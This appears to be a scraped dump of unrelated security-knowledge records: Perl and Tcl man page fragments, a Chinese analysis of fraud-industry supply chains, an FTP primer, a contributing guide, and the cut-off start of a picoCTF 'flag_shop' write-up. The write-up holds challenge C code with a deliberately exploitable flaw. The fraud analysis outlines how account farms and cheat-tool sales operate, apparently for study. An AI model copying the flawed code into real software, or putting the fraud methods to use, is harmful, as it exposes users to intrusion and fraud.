\& vec($foo, 8, 8) = 0x50; # 'PerlPerlP'
\& vec($foo, 9, 8) = 0x65; # 'PerlPerlPe'
\& vec($foo, 20, 4) = 2; # 'PerlPerlPe' . "\ex02"
\& vec($foo, 21, 4) = 7; # 'PerlPerlPer'
\& # 'r' is "\ex72"
\& vec($foo, 45, 2) = 3; # 'PerlPerlPer' . "\ex0c"
\& vec($foo, 93, 1) = 1; # 'PerlPerlPer' . "\ex2c"
\& vec($foo, 94, 1) = 1; # 'PerlPerlPerl'
\& # 'l' is "\ex6c"
.Ve
.Sp
To transform a bit vector into a string or list of 0's and 1's, use these:
.Sp
.Vb 2
\& $bits = unpack("b*", $vector);
\& @bits = split(//, unpack("b*", $vector));
.Ve
.Sp
If you know the exact length in bits, it can be used in place of the \f(CW\*(C`*\*(C'\fR.
.Sp
Here is an example to illustrate how the bits actually fall in place:
.Sp
.Vb 1
\& #!/usr/bin/perl -wl
.Ve
.Sp
.Vb 5
\& print <<'EOT';
\& 0 1 2 3
\& unpack("V",$_) 01234567890123456789012345678901
\& ------------------------------------------------------------------
\& EOT
.Ve
.Sp
.Vb 13
\& for $w (0..3) {
\& $width = 2**$w;
\& for ($shift=0; $shift < $width; ++$shift) {
\& for ($off=0; $off < 32/$width; ++$off) {
\& $str = pack("B*", "0"x32);
\& $bits = (1<<$shift);
\& vec($str, $off, $width) = $bits;
\& $res = unpack("b*",$str);
\& $val = unpack("V", $str);
\& write;
\& }
\& }
\& }
.Ve
.Sp
.Vb 5
\& format STDOUT =
\& vec($_,@#,@#) = @<< == @######### @>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
\& $off, $width, $bits, $val, $res
\& .
\& __END__
.Ve
.Sp
Regardless of the machine architecture on which it is run, the above
example should print the following table:
.Sp
.Vb 131
\& 0 1 2 3
\& unpack("V",$_) 01234567890123456789012345678901
\& ------------------------------------------------------------------
\& vec($_, 0, 1) = 1 == 1 10000000000000000000000000000000
\& vec($_, 1, 1) = 1 == 2 01000000000000000000000000000000
\& vec($_, 2, 1) = 1 == 4 00100000000000000000000000000000
\& vec($_, 3, 1) = 1 == 8 00010000000000000000000000000000
\& vec($_, 4, 1) = 1 == 16 00001000000000000000000000000000
\& vec($_, 5, 1) = 1 == 32 00000100000000000000000000000000
\& vec($_, 6, 1) = 1 == 64 00000010000000000000000000000000
\& vec($_, 7, 1) = 1 == 128 00000001000000000000000000000000
\& vec($_, 8, 1) = 1 == 256 00000000100000000000000000000000
\& vec($_, 9, 1) = 1 == 512 00000000010000000000000000000000
\& vec($_,10, 1) = 1 == 1024 00000000001000000000000000000000
\& vec($_,11, 1) = 1 == 2048 00000000000100000000000000000000
\& vec($_,12, 1) = 1 == 4096 00000000000010000000000000000000
\& vec($_,13, 1) = 1 == 8192 00000000000001000000000000000000
\& vec($_,14, 1) = 1 == 16384 00000000000000100000000000000000
\& vec($_,15, 1) = 1 == 32768 00000000000000010000000000000000
\& vec($_,16, 1) = 1 == 65536 00000000000000001000000000000000
\& vec($_,17, 1) = 1 == 131072 00000000000000000100000000000000
\& vec($_,18, 1) = 1 == 262144 00000000000000000010000000000000
\& vec($_,19, 1) = 1 == 524288 00000000000000000001000000000000
\& vec($_,20, 1) = 1 == 1048576 00000000000000000000100000000000
\& vec($_,21, 1) = 1 == 2097152 00000000000000000000010000000000
\& vec($_,22, 1) = 1 == 4194304 00000000000000000000001000000000
\& vec($_,23, 1) = 1 == 8388608 00000000000000000000000100000000
\& vec($_,24, 1) = 1 == 16777216 00000000000000000000000010000000
\& vec($_,25, 1) = 1 == 33554432 00000000000000000000000001000000
\& vec($_,26, 1) = 1 == 67108864 00000000000000000000000000100000
\& vec($_,27, 1) = 1 == 134217728 00000000000000000000000000010000
\& vec($_,28, 1) = 1 == 268435456 00000000000000000000000000001000
\& vec($_,29, 1) = 1 == 536870912 00000000000000000000000000000100
\& vec($_,30, 1) = 1 == 1073741824 00000000000000000000000000000010
\& vec($_,31, 1) = 1 == 2147483648 00000000000000000000000000000001
\& vec($_, 0, 2) = 1 == 1 10000000000000000000000000000000
\& vec($_, 1, 2) = 1 == 4 00100000000000000000000000000000
\& vec($_, 2, 2) = 1 == 16 00001000000000000000000000000000
\& vec($_, 3, 2) = 1 == 64 00000010000000000000000000000000
\& vec($_, 4, 2) = 1 == 256 00000000100000000000000000000000
\& vec($_, 5, 2) = 1 == 1024 00000000001000000000000000000000
\& vec($_, 6, 2) = 1 == 4096 00000000000010000000000000000000
\& vec($_, 7, 2) = 1 == 16384 00000000000000100000000000000000
\& vec($_, 8, 2) = 1 == 65536 00000000000000001000000000000000
\& vec($_, 9, 2) = 1 == 262144 00000000000000000010000000000000
\& vec($_,10, 2) = 1 == 1048576 00000000000000000000100000000000
\& vec($_,11, 2) = 1 == 4194304 00000000000000000000001000000000
\& vec($_,12, 2) = 1 == 16777216 00000000000000000000000010000000
\& vec($_,13, 2) = 1 == 67108864 00000000000000000000000000100000
\& vec($_,14, 2) = 1 == 268435456 00000000000000000000000000001000
\& vec($_,15, 2) = 1 == 1073741824 00000000000000000000000000000010
\& vec($_, 0, 2) = 2 == 2 01000000000000000000000000000000
\& vec($_, 1, 2) = 2 == 8 00010000000000000000000000000000
\& vec($_, 2, 2) = 2 == 32 00000100000000000000000000000000
\& vec($_, 3, 2) = 2 == 128 00000001000000000000000000000000
\& vec($_, 4, 2) = 2 == 512 00000000010000000000000000000000
\& vec($_, 5, 2) = 2 == 2048 00000000000100000000000000000000
\& vec($_, 6, 2) = 2 == 8192 00000000000001000000000000000000
\& vec($_, 7, 2) = 2 == 32768 00000000000000010000000000000000
\& vec($_, 8, 2) = 2 == 131072 00000000000000000100000000000000
\& vec($_, 9, 2) = 2 == 524288 00000000000000000001000000000000
\& vec($_,10, 2) = 2 == 2097152 00000000000000000000010000000000
\& vec($_,11, 2) = 2 == 8388608 00000000000000000000000100000000
\& vec($_,12, 2) = 2 == 33554432 00000000000000000000000001000000
\& vec($_,13, 2) = 2 == 134217728 00000000000000000000000000010000
\& vec($_,14, 2) = 2 == 536870912 00000000000000000000000000000100
\& vec($_,15, 2) = 2 == 2147483648 00000000000000000000000000000001
\& vec($_, 0, 4) = 1 == 1 10000000000000000000000000000000
\& vec($_, 1, 4) = 1 == 16 00001000000000000000000000000000
\& vec($_, 2, 4) = 1 == 256 00000000100000000000000000000000
\& vec($_, 3, 4) = 1 == 4096 00000000000010000000000000000000
\& vec($_, 4, 4) = 1 == 65536 00000000000000001000000000000000
\& vec($_, 5, 4) = 1 == 1048576 00000000000000000000100000000000
\& vec($_, 6, 4) = 1 == 16777216 00000000000000000000000010000000
\& vec($_, 7, 4) = 1 == 268435456 00000000000000000000000000001000
\& vec($_, 0, 4) = 2 == 2 01000000000000000000000000000000
\& vec($_, 1, 4) = 2 == 32 00000100000000000000000000000000
\& vec($_, 2, 4) = 2 == 512 00000000010000000000000000000000
\& vec($_, 3, 4) = 2 == 8192 00000000000001000000000000000000
\& vec($_, 4, 4) = 2 == 131072 00000000000000000100000000000000
\& vec($_, 5, 4) = 2 == 2097152 00000000000000000000010000000000
\& vec($_, 6, 4) = 2 == 33554432 00000000000000000000000001000000
\& vec($_, 7, 4) = 2 == 536870912 00000000000000000000000000000100
\& vec($_, 0, 4) = 4 == 4 00100000000000000000000000000000
\& vec($_, 1, 4) = 4 == 64 00000010000000000000000000000000
\& vec($_, 2, 4) = 4 == 1024 00000000001000000000000000000000
\& vec($_, 3, 4) = 4 == 16384 00000000000000100000000000000000
\& vec($_, 4, 4) = 4 == 262144 00000000000000000010000000000000
\& vec($_, 5, 4) = 4 == 4194304 00000000000000000000001000000000
\& vec($_, 6, 4) = 4 == 67108864 00000000000000000000000000100000
\& vec($_, 7, 4) = 4 == 1073741824 00000000000000000000000000000010
\& vec($_, 0, 4) = 8 == 8 00010000000000000000000000000000
\& vec($_, 1, 4) = 8 == 128 00000001000000000000000000000000
\& vec($_, 2, 4) = 8 == 2048 00000000000100000000000000000000
\& vec($_, 3, 4) = 8 == 32768 00000000000000010000000000000000
\& vec($_, 4, 4) = 8 == 524288 00000000000000000001000000000000
\& vec($_, 5, 4) = 8 == 8388608 00000000000000000000000100000000
\& vec($_, 6, 4) = 8 == 134217728 00000000000000000000000000010000
\& vec($_, 7, 4) = 8 == 2147483648 00000000000000000000000000000001
\& vec($_, 0, 8) = 1 == 1 10000000000000000000000000000000
\& vec($_, 1, 8) = 1 == 256 00000000100000000000000000000000
\& vec($_, 2, 8) = 1 == 65536 00000000000000001000000000000000
\& vec($_, 3, 8) = 1 == 16777216 00000000000000000000000010000000
\& vec($_, 0, 8) = 2 == 2 01000000000000000000000000000000
\& vec($_, 1, 8) = 2 == 512 00000000010000000000000000000000
\& vec($_, 2, 8) = 2 == 131072 00000000000000000100000000000000
\& vec($_, 3, 8) = 2 == 33554432 00000000000000000000000001000000
\& vec($_, 0, 8) = 4 == 4 00100000000000000000000000000000
\& vec($_, 1, 8) = 4 == 1024 00000000001000000000000000000000
\& vec($_, 2, 8) = 4 == 262144 00000000000000000010000000000000
\& vec($_, 3, 8) = 4 == 67108864 00000000000000000000000000100000
\& vec($_, 0, 8) = 8 == 8 00010000000000000000000000000000
\& vec($_, 1, 8) = 8 == 2048 00000000000100000000000000000000
\& vec($_, 2, 8) = 8 == 524288 00000000000000000001000000000000
\& vec($_, 3, 8) = 8 == 134217728 00000000000000000000000000010000
\& vec($_, 0, 8) = 16 == 16 00001000000000000000000000000000
\& vec($_, 1, 8) = 16 == 4096 00000000000010000000000000000000
\& vec($_, 2, 8) = 16 == 1048576 00000000000000000000100000000000
\& vec($_, 3, 8) = 16 == 268435456 00000000000000000000000000001000
\& vec($_, 0, 8) = 32 == 32 00000100000000000000000000000000
\& vec($_, 1, 8) = 32 == 8192 00000000000001000000000000000000
\& vec($_, 2, 8) = 32 == 2097152 00000000000000000000010000000000
\& vec($_, 3, 8) = 32 == 536870912 00000000000000000000000000000100
\& vec($_, 0, 8) = 64 == 64 00000010000000000000000000000000
\& vec($_, 1, 8) = 64 == 16384 00000000000000100000000000000000
\& vec($_, 2, 8) = 64 == 4194304 00000000000000000000001000000000
\& vec($_, 3, 8) = 64 == 1073741824 00000000000000000000000000000010
\& vec($_, 0, 8) = 128 == 128 00000001000000000000000000000000
\& vec($_, 1, 8) = 128 == 32768 00000000000000010000000000000000
\& vec($_, 2, 8) = 128 == 8388608 00000000000000000000000100000000
\& vec($_, 3, 8) = 128 == 2147483648 00000000000000000000000000000001
.Ve
.IP "wait" 8
.IX Item "wait"
Behaves like the \fIwait\fR\|(2) system call on your system: it waits for a child
process to terminate and returns the pid of the deceased process, or
\&\f(CW\*(C`\-1\*(C'\fR if there are no child processes. The status is returned in \f(CW$?\fR.
Note that a return value of \f(CW\*(C`\-1\*(C'\fR could mean that child processes are
being automatically reaped, as described in perlipc.
.IP "waitpid \s-1PID\s0,FLAGS" 8
.IX Item "waitpid PID,FLAGS"
Waits for a particular child process to terminate and returns the pid of
the deceased process, or \f(CW\*(C`\-1\*(C'\fR if there is no such child process. On some
systems, a value of 0 indicates that there are processes still running.
The status is returned in \f(CW$?\fR. If you say
.Sp
.Vb 5
\& use POSIX ":sys_wait_h";
\& #...
\& do {
\& $kid = waitpid(-1, WNOHANG);
\& } until $kid > 0;
.Ve
.Sp
then you can do a non-blocking wait for all pending zombie processes.
Non-blocking wait is available on machines supporting either the
\&\fIwaitpid\fR\|(2) or \fIwait4\fR\|(2) system calls. However, waiting for a particular
pid with \s-1FLAGS\s0 of \f(CW0\fR is implemented everywhere. (Perl emulates the
system call by remembering the status values of processes that have
exited but have not been harvested by the Perl script yet.)
.Sp
Note that on some systems, a return value of \f(CW\*(C`\-1\*(C'\fR could mean that child
processes are being automatically reaped. See perlipc for details,
and for other examples.
.IP "wantarray" 8
.IX Item "wantarray"
Returns true if the context of the currently executing subroutine is
looking for a list value. Returns false if the context is looking
for a scalar. Returns the undefined value if the context is looking
for no value (void context).
.Sp
.Vb 3
\& return unless defined wantarray; # don't bother doing more
\& my @a = complex_calculation();
\& return wantarray ? @a : "@a";
.Ve
.Sp
This function should have been named \fIwantlist()\fR instead.
.IP "warn \s-1LIST\s0" 8
.IX Item "warn LIST"
Produces a message on \s-1STDERR\s0 just like \f(CW\*(C`die\*(C'\fR, but doesn't exit or throw
an exception.
.Sp
If \s-1LIST\s0 is empty and \f(CW$@\fR already contains a value (typically from a
previous eval) that value is used after appending \f(CW"\et...caught"\fR
to \f(CW$@\fR. This is useful for staying almost, but not entirely similar to
\&\f(CW\*(C`die\*(C'\fR.
.Sp
If \f(CW$@\fR is empty then the string \f(CW"Warning: Something's wrong"\fR is used.
.Sp
No message is printed if there is a \f(CW$SIG{_\|_WARN_\|_}\fR handler
installed. It is the handler's responsibility to deal with the message
as it sees fit (like, for instance, converting it into a \f(CW\*(C`die\*(C'\fR). Most
handlers must therefore make arrangements to actually display the
warnings that they are not prepared to deal with, by calling \f(CW\*(C`warn\*(C'\fR
again in the handler. Note that this is quite safe and will not
produce an endless loop, since \f(CW\*(C`_\|_WARN_\|_\*(C'\fR hooks are not called from
inside one.
.Sp
You will find this behavior is slightly different from that of
\&\f(CW$SIG{_\|_DIE_\|_}\fR handlers (which don't suppress the error text, but can
instead call \f(CW\*(C`die\*(C'\fR again to change it).
.Sp
Using a \f(CW\*(C`_\|_WARN_\|_\*(C'\fR handler provides a powerful way to silence all
warnings (even the so-called mandatory ones). An example:
.Sp
.Vb 7
\& # wipe out *all* compile-time warnings
\& BEGIN { $SIG{'__WARN__'} = sub { warn $_[0] if $DOWARN } }
\& my $foo = 10;
\& my $foo = 20; # no warning about duplicate my $foo,
\& # but hey, you asked for it!
\& # no compile-time or run-time warnings before here
\& $DOWARN = 1;
.Ve
.Sp
.Vb 2
\& # run-time warnings enabled after here
\& warn "\e$foo is alive and $foo!"; # does show up
.Ve
.Sp
See perlvar for details on setting \f(CW%SIG\fR entries, and for more
examples. See the Carp module for other kinds of warnings using its
\&\fIcarp()\fR and \fIcluck()\fR functions.
.IP "write \s-1FILEHANDLE\s0" 8
.IX Item "write FILEHANDLE"
.PD 0
.IP "write \s-1EXPR\s0" 8
.IX Item "write EXPR"
.IP "write" 8
.IX Item "write"
.PD
Writes a formatted record (possibly multi\-line) to the specified \s-1FILEHANDLE\s0,
using the format associated with that file. By default the format for
a file is the one having the same name as the filehandle, but the
format for the current output channel (see the \f(CW\*(C`select\*(C'\fR function) may be set
explicitly by assigning the name of the format to the \f(CW$~\fR variable.
.Sp
Top of form processing is handled automatically: if there is
insufficient room on the current page for the formatted record, the
page is advanced by writing a form feed, a special top-of-page format
is used to format the new page header, and then the record is written.
By default the top-of-page format is the name of the filehandle with
\&\*(L"_TOP\*(R" appended, but it may be dynamically set to the format of your
choice by assigning the name to the \f(CW$^\fR variable while the filehandle is
selected. The number of lines remaining on the current page is in
variable \f(CW\*(C`$\-\*(C'\fR, which can be set to \f(CW0\fR to force a new page.
.Sp
If \s-1FILEHANDLE\s0 is unspecified, output goes to the current default output
channel, which starts out as \s-1STDOUT\s0 but may be changed by the
\&\f(CW\*(C`select\*(C'\fR operator. If the \s-1FILEHANDLE\s0 is an \s-1EXPR\s0, then the expression
is evaluated and the resulting string is used to look up the name of
the \s-1FILEHANDLE\s0 at run time. For more on formats, see perlform.
.Sp
Note that write is \fInot\fR the opposite of \f(CW\*(C`read\*(C'\fR. Unfortunately.
.IP "y///" 8
.IX Item "y///"
The transliteration operator. Same as \f(CW\*(C`tr///\*(C'\fR. See perlop.
|
sec-knowleage
|
# 对于黑灰产行业的产业链分析
本篇主要整理互联网行业的黑灰产行业的各种产业链及推广模式。主要的思路是根据产业链的上中下游进行分层的整理：
- 上游 —— 攻击链
- 中游 —— 生产链
- 下游 —— 实施链
图：黑色产业链示意图
## 0. 产业链角色
在分析产业链时，首先，我们需要对参与其中的角色进行一个整理。以下是对黑灰产行业上中下游及相关角色的分析：
### 上游及相关角色
产业链上游根据中游和下游的需求，生产和提供各类**黑灰产资源**。主要提供“原材料”。
- 工具开发者
- 制作相关黑产工具（注册、养号脚本；爬虫脚本；改机工具等）
- 受制于所针对公司**业务**的调整，生存周期不确定
- 卡源卡商
- 猫池卡商
- 号商
- 黑客（窃取用户数据为主）
### 中游及相关角色
产业链中游负责将上游生产和提供的各类黑灰产资源**进行包装和批量转售**，多以**各类平台或服务**的形式存在。主要对上游原材料进行加工、生产、分发。
- 接码平台
- 连接卡商和羊毛党、号商等一些**需要手机验证码**的群体
- 提供软件支持、业务结算等平台服务
- 多通过业务分成获利
- 打码平台
- 提供验证码识别服务，也以此获利
- 账号代售平台
- 提供相对应需求的账号（这里就比较灰色，因为他们也面对普通用户服务）
- 通过抽取相对应的佣金获利
- 工具代售平台
- 对工作室、普通用户提供**解决刷量需求**的工具
- 通过抽取相对应的佣金获利
- 地下黑市
- 相关的**黑灰产业群（QQ, Wechat, Telegram）、论坛**，为工作室、普通用户 提供一个需求解决场所
### 下游及相关角色
下游负责**直接执行黑灰产行为**，多以工作室形式存在。基于中游提供的黑灰产数据、工具产品，提供直接的黑灰产服务，类似于SaaS模式。
- 跑分工作室
- 此处的“跑分”不是指数码产品评测跑分，而是指利用正常用户（包括个人、企业）的微信、支付宝等的收款码，帮助他人收款，从中赚取佣金[2]。这部分角色称为“码商”。
- 刷量工作室
- 通过解决用户的刷量需求获利。
- 引流工作室
- 解决客户的需求短时间内将大量短视频用户引向其他平台
- 对引流人数和引向的平台设置不同的门槛，抽取佣金
- 主播工作室
- 利用相关工具刷人气短时间内吸引其他用户观看，通过假聊工具营造人气火爆的场景（>[场控外挂](http://127.0.0.1:8000/0x2_%E9%BB%91%E7%81%B0%E4%BA%A7%E7%A0%94%E7%A9%B6/2x5_%E9%BB%91%E7%81%B0%E4%BA%A7%E5%BD%A2%E5%BC%8F/#_1)）
## 1. 供给链
"网络黑产供给链，指的就是专门为黑产提供物料、流量、支付这三大支撑的产业链条，这些内容不但是黑灰产业的源头，它们本身的存在也破坏了互联网法治秩序"[1]。
### 物料类
### 流量类
### 支付类
## 2. 生产链
### 恶意注册类
## 3. 实施链
### 常规的产业链模式
例如针对恶意软件（e.g. 外挂），主要的过程可能如下：
- 进行正规软件破解、技术研发 —— 产品研发成功
- 跑市场，验证商业可行性，定点推广 —— 市场跑通
- 搭建独立官网、建立发卡系统或在第三方发卡网寄售 —— 扩大规模和利润
- 购买高防服务器、验证系统、代理资源等，乃至肉身翻墙 —— 防止警方追查
- 招揽代理，收取高额代理费 —— 代理推广引流
- 持续运营...
### 出行行业常见黑产产业链
图：出行行业黑色产业链[1]
## References
\[1] 出行行业黑色产业链, [安全情报星球](https://www.anquanke.com/member/153393), https://www.anquanke.com/post/id/217042
\[2] 黑灰产的廉价“温床”—跑分平台，[暗影安全实验室 ](https://www.freebuf.com/author/暗影安全实验室)，https://www.freebuf.com/articles/network/237120.html
\[3] 腾讯：直面剖析黑产手法演变过程，非法支付为最大“帮凶”，辉煌智囊团，https://mp.weixin.qq.com/s/w4icd4IFhcLetMbOqTRigQ
|
sec-knowleage
|
'\"
'\" Copyright (c) 1993 The Regents of the University of California.
'\" Copyright (c) 1994-1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: list.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: list.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 5.5c 11c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH list 3tcl "" Tcl "Tcl Built-In Commands"
.BS
'\" Note: do not modify the .SH NAME line immediately below!
.SH NAME
list \- 建立一个列表
.SH "总览 SYNOPSIS"
\fBlist \fR?\fIarg arg ...\fR?
.BE
.SH "描述 DESCRIPTION"
.PP
这个命令返回由所有 \fIarg\fR 组成的一个列表，如果未指定 \fIarg\fR 则返回一个空串。可按需要增加花括号和反斜线，这样就可以在结果上使用 \fBindex\fR 命令来提取原始的参数，还可以用 \fBeval\fR 执行这个结果列表，(执行时)加上由这个命令的名字组成的 \fIarg1\fR 和又它的参数组成的其他 \fIarg\fRs 。\fBList\fR 与 \fBconcat \fR生成的结果有细微的区别: \fBconcat\fR 在形成列表之前去除一层组合，而 \fBlist\fR 直接用原始参数来工作。例如，命令
.CS
\fBlist a b {c d e} {f {g h}}\fR
.CE
将返回
.CS
\fBa b {c d e} {f {g h}}\fR
.CE
而加了同样参数的 \fBconcat\fR 将返回
.CS
\fBa b c d e f {g h}\fR
.CE
.SH "参见 SEE ALSO"
lappend(n), lindex(n), linsert(n), llength(n), lsearch(n), lsort(n),
lrange(n), lreplace(n)
.SH "关键字 KEYWORDS"
element, list
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/09/06
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# FTP
`FTP` ( `File Transfer Protocol` ，即文件传输协议)是 `TCP/IP` 协议组中的协议之一。 `FTP` 协议包括两个组成部分，其一为 `FTP` 服务器，其二为 `FTP` 客户端。其中 `FTP` 服务器用来存储文件，用户可以使用 `FTP` 客户端通过 `FTP` 协议访问位于 `FTP` 服务器上的资源。在开发网站的时候，通常利用 `FTP` 协议把网页或程序传到 `Web` 服务器上。此外，由于 `FTP` 传输效率非常高，在网络上传输大的文件时，一般也采用该协议。
默认情况下 `FTP` 协议使用 `TCP` 端口中的 `20` 和 `21` 这两个端口，其中 `20` 用于传输数据， `21` 用于传输控制信息。但是，是否使用 `20` 作为传输数据的端口与 `FTP` 使用的传输模式有关，如果采用主动模式，那么数据传输端口就是 `20` ；如果采用被动模式，则具体最终使用哪个端口要服务器端和客户端协商决定。
|
sec-knowleage
|
# Contributing
> _A real community, however, exists only when its members interact in a meaningful way that deepens their understanding of each other and leads to learning._
If you would like to support this project, have an interesting idea how to improve the operation of this tool, or if you found some errors - fork this, add your fixes, and add a pull request of your branch to the **master branch**.
## Using the issue tracker
The [issue tracker](https://github.com/trimstray/the-book-of-secret-knowledge/issues) is
the preferred channel for bug reports, features requests and submitting pull requests, but please respect the following restrictions:
* Please **do not** use the issue tracker for personal support requests (use
[Stack Overflow](https://stackoverflow.com) or IRC)
* Please **do not** derail or troll issues. Keep the discussion on topic and
respect the opinions of others
## Signature of commit
Moving forward all commits to this project must include a "signed-off-by" line indicating the name and email address of the contributor signing off on the change. To enable signatures add the following lines to `.git/hooks/prepare-commit-msg` :
```
SOB=$(git var GIT_AUTHOR_IDENT | sed -n 's/^\(.*>\).*$/- signed-off-by: \1/p')
grep -qs "^$SOB" "$1" || echo "$SOB" >> "$1"
```
## Pull requests
When creating a pull request, please heed the following:
- Base your code on the latest master branch to avoid manual merges
- Code review may ensue in order to help shape your proposal
- Explain the problem and your proposed solution
- One-line description - please don't continue the description on new lines
## How to find broken links?
```bash
git clone https://github.com/trimstray/the-book-of-secret-knowledge && cd the-book-of-secret-knowledge
for i in $(sed -n 's/.*href="\([^"]*\).*/\1/p' README.md | grep -v "^#") ; do
_rcode=$(curl -s -o /dev/null -w "%{http_code}" "$i")
if [[ "$_rcode" != "2"* ]] ; then echo " -> $i - $_rcode" ; fi
done
```
Result:
```bash
-> https://ghostproject.fr/ - 503
-> http://www.mmnt.net/ - 302
-> https://search.weleakinfo.com/ - 503
[...]
```
|
sec-knowleage
|
# flag_shop
General Skills, 300 points
## Description:
> There's a flag shop selling stuff, can you buy a flag?
```c
#include <stdio.h>
#include <stdlib.h>
int main()
{
setbuf(stdout, NULL);
int con;
con = 0;
int account_balance = 1100;
while(con == 0){
printf("Welcome to the flag exchange\n");
printf("We sell flags\n");
printf("\n1. Check Account Balance\n");
printf("\n2. Buy Flags\n");
printf("\n3. Exit\n");
int menu;
printf("\n Enter a menu selection\n");
fflush(stdin);
scanf("%d", &menu);
if(menu == 1){
printf("\n\n\n Balance: %d \n\n\n", account_balance);
}
else if(menu == 2){
printf("Currently for sale\n");
printf("1. Defintely not the flag Flag\n");
printf("2. 1337 Flag\n");
int auction_choice;
